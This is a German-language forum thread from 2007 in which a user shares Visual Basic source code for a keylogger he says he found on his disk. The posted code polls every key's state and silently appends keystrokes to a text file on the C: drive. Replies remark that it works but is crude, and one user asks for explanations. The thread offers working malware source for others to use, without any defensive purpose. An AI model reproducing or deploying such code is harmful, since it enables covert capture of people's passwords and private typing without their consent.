|
| Autor |
Nachricht |
Silence_
Newbie
Anmeldedatum: 01.01.2007
Beiträge: 2
|
Keylogger
Verfasst am: 03.02.2007, 21:26 |
|
|
habe auf meiner pladde den qullcode von einem keylogger gefunden. er ist zwar ziemlich alt(03), aber ich dachte mir einige wirds vllt interessieren.
ich weiß auch nicht, ob der noch funzt, habs bis jetzt noch net getestet.
| Code: | Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As
Integer
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Load()
On Error Resume Next
Dim keystate As Integer, scancodes As Integer
Dim keypressed As String
Dim all As String
Dim bunk As String
Dim size As Integer
Set fso = CreateObject("scripting.filesystemobject")
Set winfold = fso.getspecialfolder(0)
bunk = "c:\keylogger.txt" 'Where you want to save the keylog
Do
Sleep 10
For scancodes = 1 To 254
keystate = GetAsyncKeyState(scancodes)
If keystate = -32767 Then
keypressed = Chr(scancodes)
If scancodes = 32 Then
keypressed = " "
End If
If scancodes = 13 Then
keypressed = "[ENTER]"
End If
If scancodes = 46 Then
keypressed = "[DELETE]"
End If
If Not (fso.fileexists(bunk)) Then
Open bunk For Binary Access Read Write As #2
Close #2
End If
all = all & keypressed
If Len(all) > 30 Then
size = FileLen(bunk)
Open bunk For Binary Access Write As #1
Seek #1, size + 1
Put #1, , all
Close #1
all = ""
End If
End If
Next
Loop
End Sub |
Zuletzt bearbeitet von Silence_ am 04.02.2007, 00:54, insgesamt einmal bearbeitet |
|
| |
|
 |
Bahamut_
« Moderator »
Anmeldedatum: 12.12.2006
Beiträge: 250
|
Verfasst am: 04.02.2007, 00:37 |
|
|
Link down
Und wieso ne .txt-datei?  |
|
| |
|
|
Silence_
Newbie
Anmeldedatum: 01.01.2007
Beiträge: 2
|
Verfasst am: 04.02.2007, 00:53 |
|
|
| hmm... bei mir funzt der link. ist ne *.txt datei weil ich sie so aufm rechner gefunden habe. werde gleich meinen post oben editieren und es so reinschreiben. |
|
| |
|
|
TheCoder_
Überflieger
Anmeldedatum: 31.12.2006
Beiträge: 359
Wohnort: Essen
|
Verfasst am: 04.02.2007, 01:49 |
|
|
Ja...nahc dem überfliegen funzt er ist aber extrem grob. Is ja fast als würdeste nur die GetAsynckeyState nehmen. Du brauchst noch massen mehr an extra definitionen für sachen wie !"W§$%&/
 |
|
| |
|
|
No One_
Newbie
Anmeldedatum: 25.03.2007
Beiträge: 14
|
Verfasst am: 25.03.2007, 21:20 |
|
|
Der qullcode ist ja schon ganz interessant und aufschlußreich.
Aber kann den mal jemand ein wenig Erläutern? 
Bin noch nicht besonders bewandert in Sachen programiern. 
ein paar schlichte Erklärungen würden also wahrscheinlich schon helfen.... |
|
| |
|
|
D3vI4nX_
Newbie
Anmeldedatum: 20.03.2007
Beiträge: 7
|
Verfasst am: 25.03.2007, 23:00 |
|
|
der ist doch schon teils erklärt...
thx für den Quelltext |
|
| |
|
|
TheCoder_
Überflieger
Anmeldedatum: 31.12.2006
Beiträge: 359
Wohnort: Essen
|
Verfasst am: 26.03.2007, 07:06 |
|
|
Das Teil is schons ehr schlecht ausgearbeitet. es fehlen tasten wie delete strg shift alt $%&/( etc.
und naja ein comment ist nicht wirklich viel.
|
|
| |
|
|
Registrieren
Login
